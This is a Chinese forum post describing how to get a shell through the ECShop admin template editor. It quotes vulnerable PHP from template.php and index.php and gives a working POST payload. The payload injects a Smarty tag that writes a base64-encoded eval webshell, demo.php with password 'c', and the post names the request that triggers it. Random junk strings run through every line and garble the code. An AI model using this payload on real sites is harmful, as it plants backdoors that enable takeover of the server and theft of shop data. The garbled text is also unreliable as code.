找回密码
 立即注册
查看: 3323|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板8 H8 z6 ]% w7 B2 H3 w- R% t0 \% b

2 M2 Q! U7 H  G4 ]而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了  `/ I+ A9 `0 e$ X+ Q8 M' v
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码/ W: \# k" ?) F6 Z/ \" U; [  Z2 b
admin/template.php
+ R3 N3 a" X* J6 O) e, }- D* R0 @* R7 v4 ?2 c
1 if ($_REQUEST['act'] == 'update_library') 1 j* q8 D4 T8 H# l5 d5 X

" {- {+ H- e$ g; z0 E. J1 ^2   # G  ]3 _( e! {- W' k5 l( C3 k

: \5 }& P* {3 S( K% R3 { + ?' S( Z& o  g: W  |

7 R' Y. Q" T* h0 v- [" E2 b7 V5 f4     check_authz_json('library_manage');
7 G/ W" v4 ^) [+ E8 c! X# y
7 [( A; W7 p* Q) r. F' o5 Q6 d5   ' f! E9 {. K3 L8 W* w: r
5 {# n7 U4 q7 w3 R0 c
6     $html = stripslashes(json_str_iconv($_POST['html'])); ' h" m. w& O! X- k# Y  j8 i

% B1 v, S7 x+ j2 H7 P; C7   ; {7 q( n! z- O% _  p  f$ j

; |% |/ E4 E& V6 t0 T& X  T5 s8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 5 p! X' k) g  r1 c0 D7 p

0 G: z( d" r  y& _# U9   4 C/ a; s( X. {; Q: |1 G: p
1 t* r" h, M& M- ?# r
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
4 n# A& Y7 t0 Y! N3 l$ L' x/ Y/ i% \7 y4 S
11   2 l' L, e- r" i

2 [( z& X9 ?- f8 D12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
0 ~4 r- t0 o. J. P
; E- V* G" n3 n4 g" |7 _! n13   ; e& g$ d$ F; m  z9 c* ]2 o: e
* `5 G  y0 v8 G( I
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
4 U. N9 o5 q" b. k3 R# J( ^7 v5 t
. r) O9 G6 [+ e, ?5 k- ^15     { ' K( q* j  |+ z# c
1 R9 [( v) b* k4 b  d
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);   X) v4 a! `8 I( y& f- Q
) g7 s: R8 O  e& L; y$ J( {% ~
17         make_json_result('', $_LANG['update_lib_success']); ) l% ?. j/ `. o9 F9 \

5 U; V. y' L/ V5 G) W) Z. d8 L18     }
  d( j- a5 k" D/ b
3 v( ~, M& [6 y0 W; m19     else
5 Q/ z0 [- `7 [  o! N5 I  u+ ~
' |% }7 [3 @' W1 ^* |4 p20     { % C4 M, o* w2 Q8 _

; g0 o! p' {' c& ]: ~21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
( P/ Y9 h2 G5 i3 c
) ?3 H+ t) o. H6 {3 U5 V2 S$ e' E; }22     }
5 Z: o9 l& X# P1 ~  x+ \9 [* U
23 } 1 `8 ]; A1 v/ P: ~6 U
5 K/ g; A. z5 D- c4 Z; [
那么找个比较方便调用了模板的文件
. c9 P; Q( |  K$ d- w+ e6 ]  Eindex.php2 p' u, N+ ^7 X1 q$ Z( b0 f

7 O* `6 u6 Z' p3 p: X6 G1 if ($act == 'cat_rec') % ]8 V. L  V3 L0 d
6 A' k2 \; Y7 f" s5 N& k7 f3 u
2   ! U3 Q. W4 ]! L! O

6 c, B0 T& H" v5 Q; J4 P3 {
  s! i9 Z( W* s$ u! N3 I8 N# E6 ]4 k% y) v8 ?. m
4   
; r. r7 Z& \- W! x+ k; b" t0 ?0 R3 R# a( D' Z7 f
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 8 b9 z6 T" b# ~# d
+ {, m( n$ d8 a4 w! i3 S7 j
6   
0 W, J8 B" n8 V/ u" k' |, D9 a" F" U; j# r8 A, Y. q$ j  A
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; % K: l9 `' X, s( Z6 c

6 i$ D6 ?  v. m: u/ t: `- k8   . ~. o6 ~" V" V. y* Y
# @3 Y3 `& y# v3 V( ?6 {3 |( c
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; # o* ?0 H! @5 F# n$ o

9 p8 Z3 z7 N. u4 b+ u; ~; Q10   
0 S# N/ s6 y) O( |. l+ j/ C! t) T7 ~/ G8 k) a
11     include_once('includes/cls_json.php');
$ ^8 b' F3 ^  n6 S
4 S  N2 v- M; b! r4 P12   1 |+ N; r1 |2 _0 z! @, @
) Y. h, ]' [# h! H
13     $json = new JSON; $ _: ^- j$ p, e1 h) F6 \
" x0 }( U/ E9 |% o5 |: u9 j
14   
/ v9 ~( r! C) Y3 p5 ^- ]$ Q
5 X# z2 D( Y/ Y$ D15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
$ Y4 _8 B0 D! Y8 m, n/ g$ o4 Z$ U" U) d7 M( s$ d6 n
16   
/ R9 ]. V' x  |( P5 V4 k. L( _
/ a" M# i7 I8 {  L6 z17     $children = get_children($cat_id);
) r5 D% `7 w" S# m1 m9 l  q  w7 _$ [% T: v+ T  d
18   
6 P' R, t$ y+ J) H- P6 D
+ p; j8 S4 C4 H3 w, V* \& Z19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 8 y6 ~3 q  J* c( E  x6 _

5 e" F  o8 M! ?6 K20   " _7 a6 X6 _9 K9 d, l5 n

2 n" b. d. U+ z21     $smarty->assign('cat_rec_sign', 1);
9 F+ ?9 n. h! c: D* p% q7 H% U5 }: @8 H, O% c! e
22   % c+ G, o. m% q/ t

, ~2 b" q2 w! K3 p) U23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 3 p- X" \8 U( O! V7 D8 k& N* F; N

" K3 v- d& X9 u' ^24   
: l$ R& D  o1 Y
) b4 _5 M6 l6 |! q$ ^25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ; w) i- Q4 u) {; a) x8 J

* T: a: v5 x% U5 q5 a1 o# s26   ) b. _& ~5 D. P. \; N4 T% M0 E
) f% `: D% u* P( a. D! Z- m
27         echo $rec_array[$rec_type]; 0 X2 V3 E9 l, U
7 `/ i4 q& _3 L: D+ H$ V  M& c
28   
7 Y+ g$ i: B- T# A8 c
4 a; P+ N  Q( |5 e8 z+ {& ^29     die($json->encode($result));
4 S0 D" s# ]! u! C+ b$ d$ c; ~: |% G8 O
. t4 f" `4 z% p& C  I% D% n/ {30   
! z5 _& q5 A8 @% y
6 ?/ l3 V# I' P/ s7 j31 } - K5 Z& B4 H# B3 `# f
2 d+ D# v7 T4 Y6 U$ E
那么就有利用方法了
0 w" U/ [8 _9 q- G8 ?post包到http://localhost/ec/admin/template.php?act=update_library
% D5 c- w7 ]* m1 l. C' e6 CPost内容:
$ Q  S" D% n3 n2 A; }3 h: h7 ^" w: U3 N

- z. F7 E. I- A) D; C" |% ~2 ]1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
7 i0 m; m9 W6 |, q' N* q
* n: A) M  t7 E' h. A( w然后访问http://localhost/ec/index.php?act=cat_rec6 S* k7 g8 `& e1 u& A# r( j. r

8 z- P1 a  ]1 P" \shel地址:http://localhost/ec/demo.php9 {" G! Q: Z# |1 d, d+ n: s
密码c- \& m/ D! H" W# U7 ~$ }
0 b6 m/ Y  d% W% G) G0 S+ w+ W6 z& Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表